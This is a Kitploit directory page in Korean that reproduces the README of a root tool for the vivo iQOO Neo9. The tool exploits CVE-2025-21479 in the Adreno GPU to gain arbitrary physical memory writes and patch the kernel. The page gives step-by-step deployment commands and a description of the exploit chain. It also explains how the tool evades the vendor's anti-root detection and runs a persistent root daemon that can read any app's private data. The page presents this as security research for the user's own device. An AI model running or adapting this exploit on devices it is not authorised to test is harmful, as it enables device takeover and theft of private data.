Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
vivo_iqoo_neo_9_root_research_on_CVE-2025-21479 — iQOO Neo9 (PD2338C) 언락 불필요 Caps-Root 도구** — CVE-2025-21479 (Adreno GPU SDS) 기반 임의 물리적 쓰기 권한 상승 방안 | Kitploit
도구/GitHubGitHub/linux-tools/vivo_iqoo_neo_9_root_research_on_cve-2025-21479
Android SecurityPrivilege EscalationExploitationReverse EngineeringPost-ExploitationMobile SecurityBinary Exploitation
GitHublinux-tools/vivo_iqoo_neo_9_root_research_on_cve-2025-21479

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

vivo_iqoo_neo_9_root_research_on_CVE-2025-21479

iQOO Neo9 (PD2338C) 언락 불필요 Caps-Root 도구** — CVE-2025-21479 (Adreno GPU SDS) 기반 임의 물리적 쓰기 권한 상승 방안

저장소 보기
3일 전아직 검토되지 않음

Neo9Root

iQOO Neo9 (PD2338C) Bootloader 잠금 해제 불필요 Caps-Root 도구 — CVE-2025-21479 (Adreno GPU SDS) 기반 임의 물리 쓰기 권한 상승 방안

License: MIT Platform Kernel

Bootloader 잠금 해제, 펌웨어 플래싱, Magisk가 필요 없습니다. GPU 취약점을 통해 커널 수준 임의 물리 쓰기를 획득하고, 커널 핵심 함수를 패치한 뒤 전체 권한(41-bit caps) 으로 상주하는 root daemon이 되어 rootc / su에 root 기능을 제공합니다.

핵심 기능: euid를 2000으로 유지하여 vivo vr.ko 안티 루트 탐지를 우회합니다(euid=0이면 기기 재부팅 유발). root 권한은 uid=0과 동등하지만 프로세스 신원은 안전합니다.


✨ 기능

  • 🔓 BL 잠금 해제 불필요 — bootloader / 파티션 / dm-verity를 건드리지 않으며, 전부 RAM 상태라 재부팅 시 완전히 정리됨
  • 🧬 커널 수준 진짜 root — CapEff: 000001ffffffffff(41비트 전체 권한), 앱 계층 위장이 아님
  • 🛡️ vivo 안티 루트 우회 — euid=2000 유지, vr.ko 탐지 무력화, 기기 충돌 없음
  • ⚙️ 상주 daemon — 파일 큐 + Base64 프로토콜, 명령 실행 시 의존성 없음, 출력 완전 투과
  • 🔌 호환 계층 — su 래퍼, MT Manager / Termux에서 직접 호출 가능
  • 📦 영구 저장 없음 — 모든 패치는 RAM에만 존재하며, 재부팅 시 자동으로 깨끗한 상태로 복원됨

📱 지원 기기

⚠️ 취약점 익스플로잇은 해당 커널의 구체적인 레이아웃(심볼 오프셋, VIVO_VMET_BREAK_KMI 기능, vr.ko 동작)에 의존하므로, 다른 기기/커널은 새로 어댑팅해야 합니다.

🚀 빠른 시작

환경 요구 사항

  • Windows + adb(또는 아무 플랫폼의 adb, 스크립트는 PowerShell 버전)
  • 휴대폰에서 USB 디버깅 활성화

원클릭 배포(권장)

root@kitploit:~
# 클론 후 실행 (adb는 PATH에 있어야 함; 또는 $env:ADB로 경로 지정)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1

스크립트가 자동으로: 세 가지 파일 푸시 → 재부팅 후 콜드 윈도우 확보 → 익스플로잇 다회 실행(적중률 ~50%/회) → daemon 준비 → 검증을 수행합니다.

수동 배포

root@kitploit:~
# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"

# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...

# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"

# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功

🛠️ 사용법

rootc — 임의 root 명령 실행

root@kitploit:~
# 简单命令
adb shell "/data/local/tmp/rootc id"

# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"

su — MT Manager / Termux 호환

root@kitploit:~
su -c "ls /data/adb"          # 任意 root 命令
su -c "chown 0:0 /path/file"  # 文件属主改为 root:root
su                            # 交互模式 (stdin 逐行)

Termux 설정: 최초 사용 시(root 권한으로) 실행해야 합니다:

root@kitploit:~
# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"

MT Manager: 설정 → ROOT → 사용자 정의 su 경로 → /data/local/tmp/su

일반적인 검증

root@kitploit:~
su -c id                                        # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status"           # 000001ffffffffff = 全能力
su -c "ls /data/adb"                            # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x"   # root 专属操作
su -c "head -5 /proc/iomem"                     # 内核物理内存布局
su -c "ls /data/data/<任意包名>"                 # 任意 app 私有数据

🔬 원리

root@kitploit:~
CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
        │  特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
        ▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
        │
        ├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
        │        → exec 后保留 effective caps (普通命令也能带全 caps)
        ├──▶ patch kptr_restrict = 0
        │        → /proc/kallsyms 全地址可见
        └──▶ patch vhangup stub (MODE=10 提权)
                 → fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
                 → fork 常驻 daemon (文件队列服务)
        │
        ▼
rootc / su  ──(文件队列 + B64)──▶  daemon ──▶ 任意 root 命令 (全 caps)

왜 euid=2000인가? vivo 커널에는 vr.ko 안티 루트 모듈이 내장되어 있습니다: cred->euid==0인 vrp 도메인 외 프로세스를 감지하면 fatal(기기 재부팅)을 트리거합니다. MODE=10 권한 상승은 의도적으로 euid를 바꾸지 않고 fsuid/fsgid + caps만 기록합니다 — vr.ko가 트리거되지 않지만, 커널 capable() 검사는 모두 통과합니다(진짜 root 권한).

📂 프로젝트 구조

root@kitploit:~
neo9_root/
├── README.md                 # 本文档
├── LICENSE                   # MIT
├── exploit/                  # 漏洞利用
│   ├── exploit_vivo.c        #   源码 (STUB_MODE=10 + daemon + cap_bprm patch)
│   ├── exploit_vivo_neo9     #   编译产物 (aarch64 musl 静态)
│   └── stubs/                #   提权 stub 汇编
├── client/                   # 客户端
│   ├── rootc.c / rootc       #   root 命令客户端 (文件队列 + B64)
│   └── su                    #   su 兼容包装器 (MT/Termux)
├── scripts/                  # 部署脚本
│   ├── run_rootc_loop.ps1    #   推荐: 多轮自动部署
│   └── run_root_final.ps1    #   一键部署
├── tools/                    # 内核/模块逆向分析脚本 (vr.ko 等)
├── docs/                     # 调试记录
│   ├── DEBUG_RECORD.md       #   完整调试记录 (崩溃根因链)
│   └── EXPLOIT0_FIX.md       #   exploit0 修复记录
└── archive/                  # 失败方案参考 (setuid 方案等)

⚠️ 알려진 제한 사항 및 주의사항

  • 재부팅 시 무효화: 모든 패치는 RAM 상태이므로 재부팅 후 다시 배포해야 합니다
  • 콜드 윈도우: 익스플로잇 적중은 재부팅 후 <3분 내 실행에 의존합니다; 프로세스 내 후보 루프의 처음 ~28개 후보는 GPU 정상 창이며, 이후 GPU가 멈출 수 있습니다 → run_rootc_loop.ps1로 여러 차례 재시도하세요
  • adb 연결 끊김 ≠ 충돌: GPU 고부하 시 adbd가 응답하지 않아 adb 연결이 끊길 수 있습니다. cat /proc/uptime으로 확인하세요(uptime이 계속 증가하고 화면이 정상이면 = 기기가 죽지 않음)
  • id에 uid=2000 표시: 원리 섹션 참조, 의도된 동작이며; 권한은 root와 동등합니다
  • mount / 는 fstab에 의해 제한됨; /system 읽기 전용(erofs + dm-verity), 영구 수정 불가
  • /data/local/tmp 권한: Termux 시나리오에서는 chmod 1777이 필요하며, 이는 모든 앱이 큐 파일을 쓸 수 있음을 의미합니다(개인용이면 무방; 신경 쓰이면 사용 후 chmod 771로 복원)

❓ FAQ

Q: 진짜 root인가요? A: 네. 커널 capable() 검사(CapEff 전체 활성화, chown 0:0, /proc/iomem 읽기, 임의 앱 데이터 읽기)가 모두 통과합니다 — 커널이 root 권한이 있음을 인정하지만, uid 숫자만 2000일 뿐입니다.

Q: 벽돌이 될 수 있나요? A: 아닙니다. 파티션 쓰기나 영구 수정이 전혀 없으며, 최악의 경우 GPU가 멈추면 재부팅으로 복구됩니다.

Q: 다른 기종을 지원하나요? A: 다시 어댑팅해야 합니다(커널 레이아웃, 심볼 오프셋, vr.ko 동작이 모두 PD2338C 전용이며, vivo iQOO Neo9이고 시스템이 OriginOS 5라면 시도해볼 수 있습니다).

📜 면책 조항

이 프로젝트는 보안 연구 및 개인 기기 사용 전용입니다. 본 도구 사용으로 발생하는 모든 결과(기기 손상, 데이터 손실, 보증 무효 포함하되 이에 국한되지 않음)는 사용자가 부담합니다. 현지 법률을 준수하고 불법적인 용도로 사용하지 마십시오.

🙏 감사의 말

  • zhuowei/cheese — 원본 GPU 익스플로잇 프레임워크
  • sarabpal-dev/cheese-cake — 확장 구현
  • Type010 / CyberMeowfia 등 공개 연구 — 아이디어 참고

📄 라이선스

MIT

도구 다운로드
항목값
기기iQOO Neo9 (PD2338C)
시스템Android 15
커널5.15.178-gaacdc35637c4-dirty (GKIv1)
GPUAdreno 740 (A7xx)
메모리 레이아웃물리 KASLR 없음(stext_pa=0xa8010000), VA 전체 slide